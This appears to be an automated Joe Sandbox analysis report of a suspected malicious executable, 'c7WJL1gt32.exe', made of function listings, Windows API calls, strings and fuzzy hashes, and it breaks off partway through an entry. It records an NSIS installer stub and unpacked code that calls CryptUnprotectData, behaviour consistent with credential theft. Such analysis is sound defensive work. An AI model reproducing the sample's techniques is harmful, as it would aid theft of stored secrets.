Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction ID: 595fb0ef6d3bfc82903baa2f142a0de03b6946227050b98ce465681b6cfad29b
Opcode Fuzzy Hash: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction Fuzzy Hash: AED0A771101630AAC111AB448D04CDF63ACEE45304342003BF601B70A2CB7C1D6287FD

Function 00401B77 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00732268), ref: 00401BE7
GlobalAlloc.KERNEL32(?,00000804), ref: 00401BF9

Strings

Call, xrefs: 00401B9E, 00401BA4, 00401BBE
h"s, xrefs: 00401B7A, 00401BAA, 00401BB9, 00401BE2, 00401C0D, 00401C14

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call$h"s
API String ID: 3394109436-3408907276
Opcode ID: f7405ea9e476423423cde41a6620a17073824cabe1c2d7eedde19d286f021b37
Instruction ID: 4b9c6e54fa6809cb214bd66434af352d7e41d31d349781cb692caa9f676c35e6
Opcode Fuzzy Hash: f7405ea9e476423423cde41a6620a17073824cabe1c2d7eedde19d286f021b37
Instruction Fuzzy Hash: 6E217B73A00200D7DB20EB94CEC995E73A4AB45314765053BF506F32D1DBB8E851DBAD

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,?,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,74DF2EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,?,?,74DF2EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,?,?,74DF2EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00403A43 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,74DF2EE0,00403A1A,74DF3420,00403819,00000006,?,00000006,?,0000000A), ref: 00403A5D
GlobalFree.KERNEL32(?), ref: 00403A64

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403A55

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3081826266
Opcode ID: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction ID: 7abb624b42f0eb5bf3103b67fd66c27476adae564a61ccebc81435f3e7eba37d
Opcode Fuzzy Hash: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction Fuzzy Hash: 73E0EC326111205BC6229F59AD44B5E776D6F58B22F0A023AE8C07B26087745D938F98

Function 00405D09 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402F9C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\c7WJL1gt32.exe,C:\Users\user\Desktop\c7WJL1gt32.exe,80000000,00000003), ref: 00405D0F
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402F9C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\c7WJL1gt32.exe,C:\Users\user\Desktop\c7WJL1gt32.exe,80000000,00000003), ref: 00405D1F

Strings

C:\Users\user\Desktop, xrefs: 00405D09

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction ID: 65148869c9b5617484fe42b3676c909fd92059a2a8224d2a454660f99163d925
Opcode Fuzzy Hash: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction Fuzzy Hash: A3D0A7B7410920EAD3126B04DC04D9F73ACEF51300B46843BE840A7171D7785CD18BEC

Function 6CF110E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(?,?), ref: 6CF1116A
GlobalFree.KERNEL32(00000000), ref: 6CF111C7
GlobalFree.KERNEL32(00000000), ref: 6CF111D9
GlobalFree.KERNEL32(?), ref: 6CF11203

Memory Dump Source

Source File: 00000000.00000002.2464950937.000000006CF11000.00000020.00000001.01000000.00000004.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.2464871451.000000006CF10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2464976083.000000006CF14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2465039264.000000006CF16000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_c7WJL1gt32.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 149dca9a6e0bddbf5736a97846b8d7bd2e27a3e9251fe941caa050bf48783a80
Instruction ID: f39ef68633168aee8a566a784a67d9fd8ff80f05fc70a1ec72150602b86483ba
Opcode Fuzzy Hash: 149dca9a6e0bddbf5736a97846b8d7bd2e27a3e9251fe941caa050bf48783a80
Instruction Fuzzy Hash: 5231D7B2A192069FDB40CFB8C846B66B7FCEB663247128519E845E7E10E734D804C760

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Analysis Process: c7WJL1gt32.exePID: 7856, Parent PID: 7320COMMON

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.4%
Total number of Nodes:	245
Total number of Limit Nodes:	17

Executed Functions

Function 00155978 Relevance: 9.7, Strings: 7, Instructions: 918COMMON

Download Yara Rule

Strings

,oq, xrefs: 00156260
(okq, xrefs: 001561E8
Hoq, xrefs: 00155D6E
(okq, xrefs: 001561DA
(okq, xrefs: 00156505
,oq, xrefs: 00156252
(okq, xrefs: 00155EA2

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: (okq$(okq$(okq$(okq$,oq$,oq$Hoq
API String ID: 0-804972777
Opcode ID: 5716aed516f4e2cdff4e8ffc6d01953da39b94bff0a0c4e4b6ede01238541f78
Instruction ID: c556accf7946eeb073cb8b2432babcd8880b6ebec4f381215b6b2266bec316c3
Opcode Fuzzy Hash: 5716aed516f4e2cdff4e8ffc6d01953da39b94bff0a0c4e4b6ede01238541f78
Instruction Fuzzy Hash: FB725070A00219CFCB14CF69C994AAEBBF6BF88301F558159E815EB3A5DB34DD85CB90

Function 001519C4 Relevance: 8.2, Strings: 6, Instructions: 746
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xoq, xrefs: 00151B7C
Xoq, xrefs: 00151A76
Xoq, xrefs: 00151B2F
Xoq, xrefs: 00151AB0
Xoq, xrefs: 00152C95
Xoq, xrefs: 00152CBE

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: Xoq$Xoq$Xoq$Xoq$Xoq$Xoq
API String ID: 0-1596160944
Opcode ID: 07893593fb3073976b89835fd993ff669e5031da55f5ce2c49190b9400dc212d
Instruction ID: b7c702598eabf5b961978dfb501f8fe7423923747c583d75c803d18a02178a4d
Opcode Fuzzy Hash: 07893593fb3073976b89835fd993ff669e5031da55f5ce2c49190b9400dc212d
Instruction Fuzzy Hash: D352FBA7E1D3E18FC7134B705CB82597F716B62106BDE459EC8C287287EBA58489C353

Function 00154328 Relevance: 6.4, Strings: 5, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oNp, xrefs: 001543AA
PHkq, xrefs: 00154590
LjNp, xrefs: 00154518
PHkq, xrefs: 001545A1
LjNp, xrefs: 0015452E

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: 0oNp$LjNp$LjNp$PHkq$PHkq
API String ID: 0-1749821215
Opcode ID: d75a3dac763e05df89dce9ac96df77ddea6baa0c20f080b84c65845a6d289746
Instruction ID: 0b432f5015e1e9749c4af4c4dd3db9b20523a27afb88b6f17792693ede863543
Opcode Fuzzy Hash: d75a3dac763e05df89dce9ac96df77ddea6baa0c20f080b84c65845a6d289746
Instruction Fuzzy Hash: C491B474E00218DFDB14DFAAD884A9DBBF2BF89305F14C069E819AB365DB349985CF50

Function 00158DF5 Relevance: 4.8, Strings: 3, Instructions: 1086COMMON

Download Yara Rule

Strings

(okq, xrefs: 001594D8
4'kq, xrefs: 00159AD3
4'kq, xrefs: 00158ECC

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: (okq$4'kq$4'kq
API String ID: 0-947883942
Opcode ID: 85996fe1c9a7339492de8082bfb80cd59b084ab14db7958979d8c696b9414094
Instruction ID: 11b35613b7ee207b686e5a5eef401f07ca247e6a7e05a3362bef7426dd87d5ba
Opcode Fuzzy Hash: 85996fe1c9a7339492de8082bfb80cd59b084ab14db7958979d8c696b9414094
Instruction Fuzzy Hash: 8BA27F70A04209DFCB15CF68C994AAEBBB2FF88301F15855AE815DF261D734ED89CB61

Function 3833E790 Relevance: 2.0, Strings: 1, Instructions: 764COMMON

Download Yara Rule

Strings

Tekq, xrefs: 3833F145

Memory Dump Source

Source File: 00000004.00000002.2980347566.0000000038330000.00000040.00000800.00020000.00000000.sdmp, Offset: 38330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38330000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: Tekq
API String ID: 0-2319236580
Opcode ID: 7f66ce2c2d7429aec3896baeb1127f51fa27ab99d01c90ac3d4d223adb07e976
Instruction ID: 553c3a71e2034b7caf3b3f8e07b92f222a5135492d6b4931867a7204a21ac81b
Opcode Fuzzy Hash: 7f66ce2c2d7429aec3896baeb1127f51fa27ab99d01c90ac3d4d223adb07e976
Instruction Fuzzy Hash: CB82B174A41328CFDB25DF64C994BA9B7B2FB89700F1085A9D909B7364CB359E82CF44

Function 3831BDF0 Relevance: 2.0, Strings: 1, Instructions: 758COMMON

Download Yara Rule

Strings

Tekq, xrefs: 3831C796

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: Tekq
API String ID: 0-2319236580
Opcode ID: 493fb3efe459ad9e03fca943bfab1bb142ade09fd9a1cabf9faf2d6e9688f241
Instruction ID: a60583e3297e62534f9b63a07b84b132fd6cf9d76180e83a187c0947dcccb8d4
Opcode Fuzzy Hash: 493fb3efe459ad9e03fca943bfab1bb142ade09fd9a1cabf9faf2d6e9688f241
Instruction Fuzzy Hash: 1372C274A40318CFDB25DF64C994BA9B7B2FB89700F1085A9D909B7364CB359E82CF54

Function 37B6D9D9 Relevance: 1.6, APIs: 1, Instructions: 56encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 37B6DA45

Memory Dump Source

Source File: 00000004.00000002.2979934383.0000000037B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37b60000_c7WJL1gt32.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: b86b66be74f8bb2087969c7a5a3be64183ff72b0b23c69d01dfbe83b0ac5bbc0
Instruction ID: 57e63e78a880711c48750ba428facfdb4c256bd0958affe84a92a7288d420fc9
Opcode Fuzzy Hash: b86b66be74f8bb2087969c7a5a3be64183ff72b0b23c69d01dfbe83b0ac5bbc0
Instruction Fuzzy Hash: 501134B6800249EFDB10CF99C945BDEBFF4EF48320F148419EA58A7211C339A590DFA5

Function 37B6D1EC Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 37B6DA45

Memory Dump Source

Source File: 00000004.00000002.2979934383.0000000037B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37b60000_c7WJL1gt32.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 5986aa3f0617446b11ca94dcf0d13b2908a93a0e38d7cab62256e689c59c8bf8
Instruction ID: a94d8618845984beb6221aaa8aa8a47e07d788f03d1c99bc620246738954e6d4
Opcode Fuzzy Hash: 5986aa3f0617446b11ca94dcf0d13b2908a93a0e38d7cab62256e689c59c8bf8
Instruction Fuzzy Hash: 921144B2800249AFDB10CF99C805BEEBBF4EF48360F108419E618B7211C739A950DFA5

Function 38318650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a565caa53498e7ab20b74ae6708d263b8ac359cc0090a0c6f67651567962a97f
Instruction ID: 9af956cc8a8fe32ca8cf9286bc8dc814a7ac27b5da6af762fa1eb7cc545e90fc
Opcode Fuzzy Hash: a565caa53498e7ab20b74ae6708d263b8ac359cc0090a0c6f67651567962a97f
Instruction Fuzzy Hash: B272CD74E01228CFDB64DF69C980BD9BBB2BB49300F5091EAE909A7355DB349E81CF54

Function 37B6C638 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2979934383.0000000037B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37b60000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a7027d26d782af9b191bfa4b3a7d87d6ab41f5f8dc4848868e915546b0bb4b5
Instruction ID: f522efabee0c5e0ff91e994c3fad299d1461d16e5f922eda7ca64adf690b99bb
Opcode Fuzzy Hash: 7a7027d26d782af9b191bfa4b3a7d87d6ab41f5f8dc4848868e915546b0bb4b5
Instruction Fuzzy Hash: 27E1D274E01218CFEB14CFA5C944B9DBBB2BF89304F2080AAD509B7295DB355E86CF55

Function 37B603AF Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2979934383.0000000037B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37b60000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 017b2c55a04b0fe3981e11e5825b64723bf9e0f7a9b17cd864ef7b43cbafe025
Instruction ID: df3c3d84b0472d71d92c368114b08e64574c317087588845703c7c862ac40c91
Opcode Fuzzy Hash: 017b2c55a04b0fe3981e11e5825b64723bf9e0f7a9b17cd864ef7b43cbafe025
Instruction Fuzzy Hash: AED19074E01218CFEB54DFA9C954BADBBB2BF88301F1081A9D909A7355DB359E86CF10

Function 37B60C28 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2979934383.0000000037B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37b60000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f6bd24371f90229b4f3233b5ff5e0024805df9b16ec21df844a5e133b9614a9
Instruction ID: 212fe94b16649224cabb1eead7fac8ea9fb2b8e4ffcec3da78f18be30f1aed5d
Opcode Fuzzy Hash: 2f6bd24371f90229b4f3233b5ff5e0024805df9b16ec21df844a5e133b9614a9
Instruction Fuzzy Hash: BEA115B4D00218CFEB14DFA9D588B9DBBB1FF88314F209269E508B72A1DB749985CF54

Function 37B60C1A Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2979934383.0000000037B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37b60000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 722c9137324c2fde7bade891e6117f6ac1c071a9c2a6f99c96d02e7f0cb062e7
Instruction ID: f99b0a8276bac5d252812f44cc02e88792fa3224402250a9999349cfca747be5
Opcode Fuzzy Hash: 722c9137324c2fde7bade891e6117f6ac1c071a9c2a6f99c96d02e7f0cb062e7
Instruction Fuzzy Hash: 5FA105B4D00218CFEB14DFA9D588BDDBBB1FF88314F209269E508A72A1DB749985CF54

Function 3831A360 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 362050a175e064160bc317a6ffdabdb36a36c0d28f87c473b220850974039928
Instruction ID: 4e7fc33e5a65f3921d1a6059e26b77312ecf5c675fd34fb40162db4735e69147
Opcode Fuzzy Hash: 362050a175e064160bc317a6ffdabdb36a36c0d28f87c473b220850974039928
Instruction Fuzzy Hash: 74A19FB4E01228CFEB18DF6AC944B9DFBF2AF89301F14D0AAD408A7255DB345A85CF51

Function 38319D10 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7350cfd5139c9033236973b245500b48a7c50c2bad74aaed7482ca98d0685261
Instruction ID: 59fe9e395d631b4029bfd2eb4634198f9b4ca6a93edbe96065557508742073cc
Opcode Fuzzy Hash: 7350cfd5139c9033236973b245500b48a7c50c2bad74aaed7482ca98d0685261
Instruction Fuzzy Hash: 55A19FB4E012288FEB18DF6AC944B9DBBF2AF89301F54C0AAD40DA7251DB745A85CF51

Function 3831A9B0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27873f20832c3b6f2725bf13b098a4314b7d652c48cd46e3f1ebd0e1802fcb82
Instruction ID: 4be1b6b0eda9f4b65117f8959ed6cc794617c4ebeed4a8da75517a799341b2fd
